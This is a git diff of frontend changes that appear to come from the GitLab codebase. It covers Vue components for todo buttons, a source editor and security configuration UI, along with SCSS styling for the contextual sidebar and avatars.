diff --git a/app/assets/javascripts/vue_shared/components/sidebar/todo_toggle/todo_button.vue b/app/assets/javascripts/vue_shared/components/sidebar/todo_toggle/todo_button.vue
new file mode 100644
index 00000000000..e6229cf0a93
--- /dev/null
+++ b/app/assets/javascripts/vue_shared/components/sidebar/todo_toggle/todo_button.vue
@@ -0,0 +1,56 @@
+<script>
+import { GlButton } from '@gitlab/ui';
+import { todoLabel } from './utils';
+
+export default {
+ components: {
+ GlButton,
+ },
+ props: {
+ isTodo: {
+ type: Boolean,
+ required: false,
+ default: true,
+ },
+ },
+ computed: {
+ buttonLabel() {
+ return todoLabel(this.isTodo);
+ },
+ },
+ methods: {
+ updateGlobalTodoCount(additionalTodoCount) {
+ const countContainer = document.querySelector('.js-todos-count');
+ if (countContainer === null) return;
+ const currentCount = parseInt(countContainer.innerText, 10);
+ const todoToggleEvent = new CustomEvent('todo:toggle', {
+ detail: {
+ count: Math.max(currentCount + additionalTodoCount, 0),
+ },
+ });
+
+ document.dispatchEvent(todoToggleEvent);
+ },
+ incrementGlobalTodoCount() {
+ this.updateGlobalTodoCount(1);
+ },
+ decrementGlobalTodoCount() {
+ this.updateGlobalTodoCount(-1);
+ },
+ onToggle(event) {
+ if (this.isTodo) {
+ this.decrementGlobalTodoCount();
+ } else {
+ this.incrementGlobalTodoCount();
+ }
+ this.$emit('click', event);
+ },
+ },
+};
+</script>
+
+<template>
+ <gl-button v-bind="$attrs" :aria-label="buttonLabel" @click="onToggle($event)">
+ {{ buttonLabel }}
+ </gl-button>
+</template>
diff --git a/app/assets/javascripts/vue_shared/components/sidebar/todo_toggle/utils.js b/app/assets/javascripts/vue_shared/components/sidebar/todo_toggle/utils.js
new file mode 100644
index 00000000000..59e72a2ffe3
--- /dev/null
+++ b/app/assets/javascripts/vue_shared/components/sidebar/todo_toggle/utils.js
@@ -0,0 +1,5 @@
+import { __ } from '~/locale';
+
+export const todoLabel = (hasTodo) => {
+ return hasTodo ? __('Mark as done') : __('Add a to do');
+};
diff --git a/app/assets/javascripts/vue_shared/components/source_editor.vue b/app/assets/javascripts/vue_shared/components/source_editor.vue
new file mode 100644
index 00000000000..fdf0c9baee3
--- /dev/null
+++ b/app/assets/javascripts/vue_shared/components/source_editor.vue
@@ -0,0 +1,103 @@
+<script>
+import { debounce } from 'lodash';
+import { CONTENT_UPDATE_DEBOUNCE, EDITOR_READY_EVENT } from '~/editor/constants';
+import Editor from '~/editor/source_editor';
+
+function initSourceEditor({ el, ...args }) {
+ const editor = new Editor({
+ scrollbar: {
+ alwaysConsumeMouseWheel: false,
+ },
+ });
+
+ return editor.createInstance({
+ el,
+ ...args,
+ });
+}
+
+export default {
+ inheritAttrs: false,
+ props: {
+ value: {
+ type: String,
+ required: false,
+ default: '',
+ },
+ fileName: {
+ type: String,
+ required: false,
+ default: '',
+ },
+ // This is used to help uniquely create a monaco model
+ // even if two blob's share a file path.
+ fileGlobalId: {
+ type: String,
+ required: false,
+ default: '',
+ },
+ extensions: {
+ type: [String, Array],
+ required: false,
+ default: () => null,
+ },
+ editorOptions: {
+ type: Object,
+ required: false,
+ default: () => ({}),
+ },
+ },
+ data() {
+ return {
+ loading: true,
+ editor: null,
+ };
+ },
+ watch: {
+ fileName(newVal) {
+ this.editor.updateModelLanguage(newVal);
+ },
+ value(newVal) {
+ if (this.editor.getValue() !== newVal) {
+ this.editor.setValue(newVal);
+ }
+ },
+ },
+ mounted() {
+ this.editor = initSourceEditor({
+ el: this.$refs.editor,
+ blobPath: this.fileName,
+ blobContent: this.value,
+ blobGlobalId: this.fileGlobalId,
+ extensions: this.extensions,
+ ...this.editorOptions,
+ });
+
+ this.editor.onDidChangeModelContent(
+ debounce(this.onFileChange.bind(this), CONTENT_UPDATE_DEBOUNCE),
+ );
+ },
+ beforeDestroy() {
+ this.editor.dispose();
+ },
+ methods: {
+ onFileChange() {
+ this.$emit('input', this.editor.getValue());
+ },
+ getEditor() {
+ return this.editor;
+ },
+ },
+ readyEvent: EDITOR_READY_EVENT,
+};
+</script>
+<template>
+ <div
+ :id="`source-editor-${fileGlobalId}`"
+ ref="editor"
+ data-editor-loading
+ @[$options.readyEvent]="$emit($options.readyEvent)"
+ >
+ <pre class="editor-loading-content">{{ value }}</pre>
+ </div>
+</template>
diff --git a/app/assets/javascripts/vue_shared/components/todo_button.vue b/app/assets/javascripts/vue_shared/components/todo_button.vue
deleted file mode 100644
index 935d222a1a9..00000000000
--- a/app/assets/javascripts/vue_shared/components/todo_button.vue
+++ /dev/null
@@ -1,28 +0,0 @@
-<script>
-import { GlButton } from '@gitlab/ui';
-import { __ } from '~/locale';
-
-export default {
- components: {
- GlButton,
- },
- props: {
- isTodo: {
- type: Boolean,
- required: false,
- default: true,
- },
- },
- computed: {
- buttonLabel() {
- return this.isTodo ? __('Mark as done') : __('Add a to do');
- },
- },
-};
-</script>
-
-<template>
- <gl-button v-bind="$attrs" :aria-label="buttonLabel" @click="$emit('click', $event)">
- {{ buttonLabel }}
- </gl-button>
-</template>
diff --git a/app/assets/javascripts/vue_shared/components/user_popover/user_popover.vue b/app/assets/javascripts/vue_shared/components/user_popover/user_popover.vue
index deac24d2270..f387f8ca128 100644
--- a/app/assets/javascripts/vue_shared/components/user_popover/user_popover.vue
+++ b/app/assets/javascripts/vue_shared/components/user_popover/user_popover.vue
@@ -72,7 +72,11 @@ export default {
<template v-else>
<div class="gl-mb-3">
<h5 class="gl-m-0">
- <user-name-with-status :name="user.name" :availability="availabilityStatus" />
+ <user-name-with-status
+ :name="user.name"
+ :availability="availabilityStatus"
+ :pronouns="user.pronouns"
+ />
</h5>
<span class="gl-text-gray-500">@{{ user.username }}</span>
</div>
diff --git a/app/assets/javascripts/vue_shared/components/user_select/user_select.vue b/app/assets/javascripts/vue_shared/components/user_select/user_select.vue
index 04e44aa2ed1..b85cae0c64f 100644
--- a/app/assets/javascripts/vue_shared/components/user_select/user_select.vue
+++ b/app/assets/javascripts/vue_shared/components/user_select/user_select.vue
@@ -96,9 +96,6 @@ export default {
},
},
searchUsers: {
- // TODO Remove error policy
- // https://gitlab.com/gitlab-org/gitlab/-/issues/329750
- errorPolicy: 'all',
query: searchUsers,
variables() {
return {
@@ -111,28 +108,10 @@ export default {
return !this.isEditing;
},
update(data) {
- // TODO Remove null filter (BE fix required)
- // https://gitlab.com/gitlab-org/gitlab/-/issues/329750
return data.workspace?.users?.nodes.filter((x) => x?.user).map(({ user }) => user) || [];
},
debounce: ASSIGNEES_DEBOUNCE_DELAY,
- error({ graphQLErrors }) {
- // TODO This error suppression is temporary (BE fix required)
- // https://gitlab.com/gitlab-org/gitlab/-/issues/329750
- const isNullError = ({ message }) => {
- return message === 'Cannot return null for non-nullable field GroupMember.user';
- };
-
- if (graphQLErrors?.length > 0 && graphQLErrors.every(isNullError)) {
- // only null-related errors exist, suppress them.
- // eslint-disable-next-line no-console
- console.error(
- "Suppressing the error 'Cannot return null for non-nullable field GroupMember.user'. Please see https://gitlab.com/gitlab-org/gitlab/-/issues/329750",
- );
- this.isSearching = false;
- return;
- }
-
+ error() {
this.$emit('error');
this.isSearching = false;
},
diff --git a/app/assets/javascripts/vue_shared/components/web_ide_link.vue b/app/assets/javascripts/vue_shared/components/web_ide_link.vue
index 4bd3e352fd2..5ba7c107c12 100644
--- a/app/assets/javascripts/vue_shared/components/web_ide_link.vue
+++ b/app/assets/javascripts/vue_shared/components/web_ide_link.vue
@@ -93,9 +93,8 @@ export default {
tooltip: '',
attrs: {
'data-qa-selector': 'edit_button',
- 'data-track-event': 'click_edit',
- // eslint-disable-next-line @gitlab/require-i18n-strings
- 'data-track-label': 'Edit',
+ 'data-track-action': 'click_consolidated_edit',
+ 'data-track-label': 'edit',
},
...handleOptions,
};
@@ -127,9 +126,8 @@ export default {
tooltip: '',
attrs: {
'data-qa-selector': 'web_ide_button',
- 'data-track-event': 'click_edit_ide',
- // eslint-disable-next-line @gitlab/require-i18n-strings
- 'data-track-label': 'Web IDE',
+ 'data-track-action': 'click_consolidated_edit_ide',
+ 'data-track-label': 'web_ide',
},
...handleOptions,
};
diff --git a/app/assets/javascripts/vue_shared/new_namespace/components/welcome.vue b/app/assets/javascripts/vue_shared/new_namespace/components/welcome.vue
index e9983af5401..1b20ae57563 100644
--- a/app/assets/javascripts/vue_shared/new_namespace/components/welcome.vue
+++ b/app/assets/javascripts/vue_shared/new_namespace/components/welcome.vue
@@ -16,14 +16,9 @@ export default {
type: Array,
required: true,
},
- experiment: {
- type: String,
- required: false,
- default: null,
- },
},
created() {
- const trackingMixin = Tracking.mixin({ ...gon.tracking_data, experiment: this.experiment });
+ const trackingMixin = Tracking.mixin();
const trackingInstance = new Vue({
...trackingMixin,
render() {
@@ -35,7 +30,7 @@ export default {
};
</script>
<template>
- <div class="container">
+ <div class="container gl-display-flex gl-flex-direction-column">
<h2 class="gl-my-7 gl-font-size-h1 gl-text-center">
{{ title }}
</h2>
@@ -43,11 +38,12 @@ export default {
<div
v-for="panel in panels"
:key="panel.name"
- class="new-namespace-panel-wrapper gl-display-inline-block gl-px-3 gl-mb-5"
+ class="new-namespace-panel-wrapper gl-display-inline-block gl-float-left gl-px-3 gl-mb-5"
>
<a
:href="`#${panel.name}`"
- :data-qa-selector="`${panel.name}_link`"
+ data-qa-selector="panel_link"
+ :data-qa-panel-name="panel.name"
class="new-namespace-panel gl-display-flex gl-flex-shrink-0 gl-flex-direction-column gl-lg-flex-direction-row gl-align-items-center gl-rounded-base gl-border-gray-100 gl-border-solid gl-border-1 gl-w-full gl-py-6 gl-px-8 gl-hover-text-decoration-none!"
@click="track('click_tab', { label: panel.name })"
>
diff --git a/app/assets/javascripts/vue_shared/new_namespace/new_namespace_page.vue b/app/assets/javascripts/vue_shared/new_namespace/new_namespace_page.vue
index a2b432d11f4..c1e8376d656 100644
--- a/app/assets/javascripts/vue_shared/new_namespace/new_namespace_page.vue
+++ b/app/assets/javascripts/vue_shared/new_namespace/new_namespace_page.vue
@@ -36,11 +36,6 @@ export default {
type: String,
required: true,
},
- experiment: {
- type: String,
- required: false,
- default: null,
- },
},
data() {
@@ -103,12 +98,7 @@ export default {
</script>
<template>
- <welcome-page
- v-if="activePanelName === null"
- :panels="panels"
- :title="title"
- :experiment="experiment"
- >
+ <welcome-page v-if="!activePanelName" :panels="panels" :title="title">
<template #footer>
<slot name="welcome-footer"> </slot>
</template>
diff --git a/app/assets/javascripts/vue_shared/plugins/global_toast.js b/app/assets/javascripts/vue_shared/plugins/global_toast.js
index bfea2bedd40..fb52b31c2c8 100644
--- a/app/assets/javascripts/vue_shared/plugins/global_toast.js
+++ b/app/assets/javascripts/vue_shared/plugins/global_toast.js
@@ -2,7 +2,7 @@ import { GlToast } from '@gitlab/ui';
import Vue from 'vue';
Vue.use(GlToast);
-const instance = new Vue();
+export const instance = new Vue();
export default function showGlobalToast(...args) {
return instance.$toast.show(...args);
diff --git a/app/assets/javascripts/vue_shared/security_configuration/components/manage_via_mr.vue b/app/assets/javascripts/vue_shared/security_configuration/components/manage_via_mr.vue
index 12e5f634a08..0ff858e6afc 100644
--- a/app/assets/javascripts/vue_shared/security_configuration/components/manage_via_mr.vue
+++ b/app/assets/javascripts/vue_shared/security_configuration/components/manage_via_mr.vue
@@ -5,6 +5,10 @@ import { redirectTo } from '~/lib/utils/url_utility';
import { sprintf, s__ } from '~/locale';
import apolloProvider from '../provider';
+function mutationSettingsForFeatureType(type) {
+ return featureToMutationMap[type];
+}
+
export default {
apolloProvider,
components: {
@@ -19,7 +23,7 @@ export default {
variant: {
type: String,
required: false,
- default: 'success',
+ default: 'confirm',
},
category: {
type: String,
@@ -33,17 +37,19 @@ export default {
};
},
computed: {
- featureSettings() {
- return featureToMutationMap[this.feature.type];
+ mutationSettings() {
+ return mutationSettingsForFeatureType(this.feature.type);
},
},
methods: {
async mutate() {
this.isLoading = true;
try {
- const mutation = this.featureSettings;
- const { data } = await this.$apollo.mutate(mutation.getMutationPayload(this.projectPath));
- const { errors, successPath } = data[mutation.mutationId];
+ const { mutationSettings } = this;
+ const { data } = await this.$apollo.mutate(
+ mutationSettings.getMutationPayload(this.projectPath),
+ );
+ const { errors, successPath } = data[mutationSettings.mutationId];
if (errors.length > 0) {
throw new Error(errors[0]);
@@ -62,6 +68,22 @@ export default {
}
},
},
+ /**
+ * Returns a boolean representing whether this component can be rendered for
+ * the given feature. Useful for parent components to determine whether or
+ * not to render this component.
+ * @param {Object} feature The feature to check.
+ * @returns {boolean}
+ */
+ canRender(feature) {
+ const { available, configured, canEnableByMergeRequest, type } = feature;
+ return (
+ canEnableByMergeRequest &&
+ available &&
+ !configured &&
+ Boolean(mutationSettingsForFeatureType(type))
+ );
+ },
i18n: {
buttonLabel: s__('SecurityConfiguration|Configure via Merge Request'),
noSuccessPathError: s__(
@@ -74,6 +96,7 @@ export default {
<template>
<gl-button
v-if="!feature.configured"
+ data-testid="configure-via-mr-button"
:loading="isLoading"
:variant="variant"
:category="category"
diff --git a/app/assets/javascripts/vue_shared/security_reports/components/artifact_downloads/merge_request_artifact_download.vue b/app/assets/javascripts/vue_shared/security_reports/components/artifact_downloads/merge_request_artifact_download.vue
index 8fdc5ca78db..f3dd26b02cb 100644
--- a/app/assets/javascripts/vue_shared/security_reports/components/artifact_downloads/merge_request_artifact_download.vue
+++ b/app/assets/javascripts/vue_shared/security_reports/components/artifact_downloads/merge_request_artifact_download.vue
@@ -76,6 +76,7 @@ export default {
<template>
<security-report-download-dropdown
+ :title="s__('SecurityReports|Download results')"
:artifacts="reportArtifacts"
:loading="isLoadingReportArtifacts"
/>
diff --git a/app/assets/javascripts/vue_shared/security_reports/components/security_report_download_dropdown.vue b/app/assets/javascripts/vue_shared/security_reports/components/security_report_download_dropdown.vue
index 5d39d740c07..4178c5d1170 100644
--- a/app/assets/javascripts/vue_shared/security_reports/components/security_report_download_dropdown.vue
+++ b/app/assets/javascripts/vue_shared/security_reports/components/security_report_download_dropdown.vue
@@ -21,6 +21,16 @@ export default {
required: false,
default: false,
},
+ text: {
+ type: String,
+ required: false,
+ default: '',
+ },
+ title: {
+ type: String,
+ required: false,
+ default: '',
+ },
},
methods: {
artifactText({ name }) {
@@ -35,7 +45,8 @@ export default {
<template>
<gl-dropdown
v-gl-tooltip
- :text="s__('SecurityReports|Download results')"
+ :text="text"
+ :title="title"
:loading="loading"
icon="download"
size="small"
diff --git a/app/assets/javascripts/vue_shared/security_reports/constants.js b/app/assets/javascripts/vue_shared/security_reports/constants.js
index 1cdcf87097f..4a50dfbd82f 100644
--- a/app/assets/javascripts/vue_shared/security_reports/constants.js
+++ b/app/assets/javascripts/vue_shared/security_reports/constants.js
@@ -22,6 +22,7 @@ export const REPORT_TYPE_DAST_PROFILES = 'dast_profiles';
export const REPORT_TYPE_SECRET_DETECTION = 'secret_detection';
export const REPORT_TYPE_DEPENDENCY_SCANNING = 'dependency_scanning';
export const REPORT_TYPE_CONTAINER_SCANNING = 'container_scanning';
+export const REPORT_TYPE_CLUSTER_IMAGE_SCANNING = 'cluster_image_scanning';
export const REPORT_TYPE_COVERAGE_FUZZING = 'coverage_fuzzing';
export const REPORT_TYPE_LICENSE_COMPLIANCE = 'license_scanning';
export const REPORT_TYPE_API_FUZZING = 'api_fuzzing';
diff --git a/app/assets/javascripts/vue_shared/security_reports/security_reports_app.vue b/app/assets/javascripts/vue_shared/security_reports/security_reports_app.vue
index d7a3d4e611e..3e0310e173e 100644
--- a/app/assets/javascripts/vue_shared/security_reports/security_reports_app.vue
+++ b/app/assets/javascripts/vue_shared/security_reports/security_reports_app.vue
@@ -200,6 +200,7 @@ export default {
<template #action-buttons>
<security-report-download-dropdown
+ :text="s__('SecurityReports|Download results')"
:artifacts="reportArtifacts"
:loading="isLoadingReportArtifacts"
/>
@@ -228,6 +229,7 @@ export default {
<template #action-buttons>
<security-report-download-dropdown
+ :text="s__('SecurityReports|Download results')"
:artifacts="reportArtifacts"
:loading="isLoadingReportArtifacts"
/>
diff --git a/app/assets/javascripts/vuex_shared/bindings.js b/app/assets/javascripts/vuex_shared/bindings.js
index 741690886b7..bc3741a3880 100644
--- a/app/assets/javascripts/vuex_shared/bindings.js
+++ b/app/assets/javascripts/vuex_shared/bindings.js
@@ -6,7 +6,7 @@
* @param {string} list[].getter - the name of the getter, leave it empty to not use a getter
* @param {string} list[].updateFn - the name of the action, leave it empty to use the default action
* @param {string} defaultUpdateFn - the default function to dispatch
- * @param {string} root - the key of the state where to search fo they keys described in list
+ * @param {string|function} root - the key of the state where to search for the keys described in list
* @returns {Object} a dictionary with all the computed properties generated
*/
export const mapComputed = (list, defaultUpdateFn, root) => {
@@ -21,6 +21,10 @@ export const mapComputed = (list, defaultUpdateFn, root) => {
if (getter) {
return this.$store.getters[getter];
} else if (root) {
+ if (typeof root === 'function') {
+ return root(this.$store.state)[key];
+ }
+
return this.$store.state[root][key];
}
return this.$store.state[key];
diff --git a/app/assets/javascripts/whats_new/components/app.vue b/app/assets/javascripts/whats_new/components/app.vue
index 4ee586527b5..b74dba686ad 100644
--- a/app/assets/javascripts/whats_new/components/app.vue
+++ b/app/assets/javascripts/whats_new/components/app.vue
@@ -68,7 +68,7 @@ export default {
:open="open"
@close="closeDrawer"
>
- <template #header>
+ <template #title>
<h4 class="page-title gl-my-2">{{ __("What's new") }}</h4>
</template>
<template v-if="features.length">
diff --git a/app/assets/stylesheets/application_dark.scss b/app/assets/stylesheets/application_dark.scss
index 90aab7ce342..30db4e2296d 100644
--- a/app/assets/stylesheets/application_dark.scss
+++ b/app/assets/stylesheets/application_dark.scss
@@ -57,4 +57,8 @@ body.gl-dark {
}
}
}
+
+ .md code {
+ background-color: $gray-200;
+ }
}
diff --git a/app/assets/stylesheets/components/avatar.scss b/app/assets/stylesheets/components/avatar.scss
index c8f69bfdbaf..3885134e276 100644
--- a/app/assets/stylesheets/components/avatar.scss
+++ b/app/assets/stylesheets/components/avatar.scss
@@ -67,15 +67,12 @@ $avatar-sizes: (
)
);
-$identicon-backgrounds: $identicon-red, $identicon-purple, $identicon-indigo, $identicon-blue, $identicon-teal,
- $identicon-orange, $identicon-gray;
-
.avatar,
.avatar-container {
float: left;
margin-right: $gl-padding;
border-radius: $avatar-radius;
- border: 1px solid $gray-normal;
+ border: 1px solid $t-gray-a-08;
@each $size, $size-config in $avatar-sizes {
&.s#{$size} {
@@ -125,8 +122,8 @@ $identicon-backgrounds: $identicon-red, $identicon-purple, $identicon-indigo, $i
.identicon {
text-align: center;
vertical-align: top;
- color: $identicon-text-color;
- background-color: $identicon-gray;
+ color: $gray-900;
+ background-color: $gray-50;
// Sizes
@each $size, $size-config in $avatar-sizes {
@@ -143,9 +140,9 @@ $identicon-backgrounds: $identicon-red, $identicon-purple, $identicon-indigo, $i
}
// Background colors
- @for $i from 1 through length($identicon-backgrounds) {
+ @for $i from 1 through length($gl-avatar-identicon-bgs) {
&.bg#{$i} {
- background-color: nth($identicon-backgrounds, $i);
+ background-color: nth($gl-avatar-identicon-bgs, $i);
}
}
}
diff --git a/app/assets/stylesheets/components/batch_comments/review_bar.scss b/app/assets/stylesheets/components/batch_comments/review_bar.scss
index d769ea73101..bcd06974813 100644
--- a/app/assets/stylesheets/components/batch_comments/review_bar.scss
+++ b/app/assets/stylesheets/components/batch_comments/review_bar.scss
@@ -2,13 +2,15 @@
position: fixed;
bottom: 0;
left: 0;
- width: 100%;
- background: $white;
z-index: $zindex-dropdown-menu;
- padding: 7px 0 6px; // to keep aligned with "collapse sidebar" button on the left sidebar
- border-top: 1px solid $border-color;
+ display: flex;
+ align-items: center;
+ width: 100%;
+ height: $toggle-sidebar-height;
padding-left: $contextual-sidebar-width;
padding-right: $gutter_collapsed_width;
+ background: $white;
+ border-top: 1px solid $border-color;
transition: padding $sidebar-transition-duration;
.page-with-icon-sidebar & {
diff --git a/app/assets/stylesheets/framework.scss b/app/assets/stylesheets/framework.scss
index 2fbdaaaf467..804cc205279 100644
--- a/app/assets/stylesheets/framework.scss
+++ b/app/assets/stylesheets/framework.scss
@@ -39,7 +39,7 @@
@import 'framework/selects';
@import 'framework/sidebar';
@import 'framework/contextual_sidebar_header';
-@import 'framework/contextual_sidebar_refactoring/contextual_sidebar';
+@import 'framework/contextual_sidebar';
@import 'framework/tables';
@import 'framework/notes';
@import 'framework/tabs';
@@ -69,5 +69,5 @@
@import 'framework/system_messages';
@import 'framework/spinner';
@import 'framework/card';
-@import 'framework/editor-lite';
+@import 'framework/source_editor';
@import 'framework/diffs';
diff --git a/app/assets/stylesheets/framework/contextual_sidebar.scss b/app/assets/stylesheets/framework/contextual_sidebar.scss
new file mode 100644
index 00000000000..f5002a342b6
--- /dev/null
+++ b/app/assets/stylesheets/framework/contextual_sidebar.scss
@@ -0,0 +1,470 @@
+//
+// MIXINS
+//
+
+@mixin collapse-contextual-sidebar-content {
+
+ @include context-header-collapsed;
+
+ .context-header {
+ @include gl-h-auto;
+
+ a {
+ @include gl-p-2;
+ }
+ }
+
+ .sidebar-top-level-items > li {
+ .sidebar-sub-level-items {
+ &:not(.flyout-list) {
+ display: none;
+ }
+ }
+ }
+
+ .nav-icon-container {
+ margin-right: 0;
+ }
+
+ .toggle-sidebar-button {
+ width: $contextual-sidebar-collapsed-width;
+
+ .collapse-text {
+ display: none;
+ }
+
+ .icon-chevron-double-lg-left {
+ @include gl-rotate-180;
+ @include gl-m-0;
+ }
+ }
+}
+
+@mixin collapse-contextual-sidebar {
+ width: $contextual-sidebar-collapsed-width;
+
+ .nav-sidebar-inner-scroll {
+ overflow-x: hidden;
+ }
+
+ .badge.badge-pill:not(.fly-out-badge),
+ .nav-item-name,
+ .collapse-text {
+ @include gl-sr-only;
+ }
+
+ .sidebar-top-level-items > li > a {
+ min-height: unset;
+ }
+
+ .fly-out-top-item:not(.divider) {
+ display: block !important;
+ }
+
+ .avatar-container {
+ margin: 0 auto;
+ }
+
+ li.active:not(.fly-out-top-item) > a {
+ background-color: $indigo-900-alpha-008;
+ }
+}
+
+@mixin sub-level-items-flyout {
+ .sidebar-sub-level-items {
+ @include media-breakpoint-up(sm) {
+ @include gl-fixed;
+ @include gl-top-0;
+ @include gl-left-0;
+ @include gl-ml-3;
+ @include gl-mt-0;
+ @include gl-px-0;
+ @include gl-pb-2;
+ @include gl-pt-0;
+ min-width: 150px;
+ background-color: $gray-10;
+ box-shadow: 0 $gl-spacing-scale-2 $gl-spacing-scale-5 $t-gray-a-24, 0 0 $gl-spacing-scale-1 $t-gray-a-24;
+ border-style: none;
+ border-radius: $border-radius-default;
+
+ .divider {
+ @include gl-display-none;
+ }
+
+ .divider + li > a {
+ @include gl-mt-2;
+ }
+
+ li:last-of-type a {
+ @include gl-mb-0;
+ }
+
+ &.is-above {
+ @include gl-mt-0;
+ }
+ }
+
+ a {
+ @include gl-px-4;
+ }
+
+ .fly-out-top-item {
+ > a {
+ display: flex;
+ }
+
+ .fly-out-badge {
+ margin-left: 8px;
+ }
+ }
+
+ .fly-out-top-item-name {
+ flex: 1;
+ }
+ }
+}
+
+@mixin context-header {
+ $avatar-box-shadow: inset 0 0 0 1px $t-gray-a-08;
+
+ @include gl-p-2;
+ @include gl-mb-2;
+ @include gl-mt-0;
+
+ .avatar-container {
+ @include gl-font-weight-normal;
+ flex: none;
+ box-shadow: $avatar-box-shadow;
+
+ &.rect-avatar {
+ @include gl-border-none;
+
+ .avatar.s32 {
+ @extend .rect-avatar.s32;
+ box-shadow: $avatar-box-shadow;
+ }
+ }
+ }
+}
+
+@mixin top-level-item {
+ @include gl-px-4;
+ @include gl-py-3;
+ @include gl-display-flex;
+ @include gl-align-items-center;
+ @include gl-rounded-base;
+ @include gl-w-auto;
+ @include gl-line-height-normal;
+ transition: none;
+ margin: $sidebar-top-item-tb-margin $sidebar-top-item-lr-margin;
+
+ &:hover {
+ background-color: $indigo-900-alpha-008;
+ }
+}
+
+@mixin fly-out-top-item($has-sub-items: false) {
+ @include gl-display-none;
+
+ a,
+ a:hover,
+ &.active a,
+ .fly-out-top-item-container {
+ @include gl-mx-0;
+ @include gl-px-5;
+ @include gl-cursor-default;
+ @include gl-pointer-events-none;
+ @include gl-font-sm;
+
+ @if $has-sub-items {
+ @include gl-mt-0;
+ border-bottom-left-radius: 0;
+ border-bottom-right-radius: 0;
+ } @else {
+ @include gl-my-n2;
+ @include gl-mt-0;
+ @include gl-relative;
+ @include gl-text-white;
+ background: var(--black, $black);
+
+ strong {
+ @include gl-font-weight-normal;
+ }
+
+ &::before {
+ @include gl-absolute;
+ content: '';
+ display: block;
+ top: 50%;
+ left: -$gl-spacing-scale-2;
+ margin-top: -$gl-spacing-scale-2;
+ width: 0;
+ height: 0;
+ border-top: $gl-spacing-scale-2 solid transparent;
+ border-bottom: $gl-spacing-scale-2 solid transparent;
+ border-right: $gl-spacing-scale-2 solid $black;
+ border-right-color: var(--black, $black);
+ }
+ }
+ }
+}
+
+//
+// PAGE-LAYOUT
+//
+
+.page-with-contextual-sidebar {
+ transition: padding-left $sidebar-transition-duration;
+
+ @include media-breakpoint-up(md) {
+ padding-left: $contextual-sidebar-collapsed-width;
+ }
+
+ @include media-breakpoint-up(xl) {
+ padding-left: $contextual-sidebar-width;
+ }
+
+ .issues-bulk-update.right-sidebar.right-sidebar-expanded .issuable-sidebar-header {
+ padding: 10px 0 15px;
+ }
+}
+
+.page-with-icon-sidebar {
+ @include media-breakpoint-up(md) {
+ padding-left: $contextual-sidebar-collapsed-width;
+ }
+}
+
+//
+// THE PANEL
+//
+
+.nav-sidebar {
+ @include gl-fixed;
+ @include gl-bottom-0;
+ @include gl-left-0;
+ transition: width $sidebar-transition-duration, left $sidebar-transition-duration;
+ z-index: 600;
+ width: $contextual-sidebar-width;
+ top: $header-height;
+ background-color: $gray-50;
+ transform: translate3d(0, 0, 0);
+
+ &.sidebar-collapsed-desktop {
+ @include collapse-contextual-sidebar;
+ }
+
+ &.sidebar-expanded-mobile {
+ left: 0;
+ }
+
+ a {
+ @include gl-text-decoration-none;
+ color: $gray-900;
+ }
+
+ li {
+ white-space: nowrap;
+
+ .nav-item-name {
+ flex: 1;
+ }
+
+ > a,
+ > .fly-out-top-item-container {
+ @include top-level-item;
+ }
+
+ &.active {
+ > a {
+ font-weight: $gl-font-weight-bold;
+ }
+
+ &:not(.fly-out-top-item) {
+ > a:not(.has-sub-items) {
+ background-color: $indigo-900-alpha-008;
+ }
+ }
+ }
+ }
+
+ ul {
+ padding-left: 0;
+ list-style: none;
+ }
+
+ @include media-breakpoint-down(sm) {
+ left: (-$contextual-sidebar-width);
+ }
+
+ .nav-icon-container {
+ display: flex;
+ margin-right: 8px;
+ }
+
+ a:not(.has-sub-items) + .sidebar-sub-level-items {
+ .fly-out-top-item {
+ @include fly-out-top-item($has-sub-items: false);
+ }
+ }
+
+ a.has-sub-items + .sidebar-sub-level-items {
+ .fly-out-top-item {
+ @include fly-out-top-item($has-sub-items: true);
+ }
+ }
+
+ a.has-sub-items + .sidebar-sub-level-items.fly-out-list {
+ @include gl-mt-n2;
+
+ &.is-above {
+ @include gl-mt-2;
+ }
+ }
+
+ @media (min-width: map-get($grid-breakpoints, md)) and (max-width: map-get($grid-breakpoints, xl) - 1px) {
+ &:not(.sidebar-expanded-mobile) {
+ @include collapse-contextual-sidebar;
+ @include collapse-contextual-sidebar-content;
+ }
+ }
+}
+
+.nav-sidebar-inner-scroll {
+ @include gl-h-full;
+ @include gl-w-full;
+ @include gl-overflow-auto;
+
+ > div.context-header {
+ @include gl-mt-2;
+
+ a {
+ @include top-level-item;
+ @include context-header;
+ }
+ }
+}
+
+.sidebar-top-level-items {
+ @include gl-mt-2;
+ margin-bottom: 60px;
+
+ .context-header a {
+ @include context-header;
+ }
+
+ > li {
+ .badge.badge-pill {
+ @include gl-rounded-lg;
+ @include gl-py-1;
+ @include gl-px-3;
+ background-color: $blue-100;
+ color: $blue-700;
+ }
+
+ &.active {
+ .sidebar-sub-level-items:not(.is-fly-out-only) {
+ display: block;
+ }
+
+ .badge.badge-pill {
+ @include gl-font-weight-normal;
+ color: $blue-700;
+ }
+ }
+ }
+}
+
+.sidebar-sub-level-items {
+ @include gl-py-0;
+ @include gl-display-none;
+
+ &:not(.fly-out-list) {
+ li > a {
+ // The calculation formula:
+ // 12px: normal padding on the menu anchors
+ // +
+ // 16px: the width of the SVG icon in the top-level links
+ // +
+ // 8px: margin-right on the SVG icon in the top-level links
+ // =
+ // 36px (4.5 times the $grid-size)
+ padding-left: $grid-size * 4.5;
+ }
+ }
+}
+
+.is-showing-fly-out {
+ @include sub-level-items-flyout;
+}
+
+//
+// COLLAPSED STATE
+//
+
+.toggle-sidebar-button,
+.close-nav-button {
+ @include side-panel-toggle;
+ background-color: $gray-50;
+ border-top: 1px solid $border-color;
+ position: fixed;
+ bottom: 0;
+ width: $contextual-sidebar-width;
+
+ .collapse-text,
+ .icon-chevron-double-lg-left,
+ .icon-chevron-double-lg-right {
+ color: inherit;
+ }
+}
+
+.collapse-text {
+ white-space: nowrap;
+ overflow: hidden;
+}
+
+.sidebar-collapsed-desktop {
+ @include collapse-contextual-sidebar-content;
+}
+
+//
+// MOBILE PANEL
+//
+
+.close-nav-button {
+ display: none;
+}
+
+@include media-breakpoint-down(sm) {
+ .close-nav-button {
+ display: flex;
+ }
+
+ .toggle-sidebar-button {
+ display: none;
+ }
+
+ .mobile-overlay {
+ display: none;
+
+ &.mobile-nav-open {
+ display: block;
+ position: fixed;
+ background-color: $black-transparent;
+ height: 100%;
+ width: 100%;
+ z-index: $zindex-dropdown-menu;
+ }
+ }
+}
+
+//
+// PANELS-SPECIFIC
+//
+
+.settings-avatar {
+ svg {
+ margin: auto;
+ }
+}
+
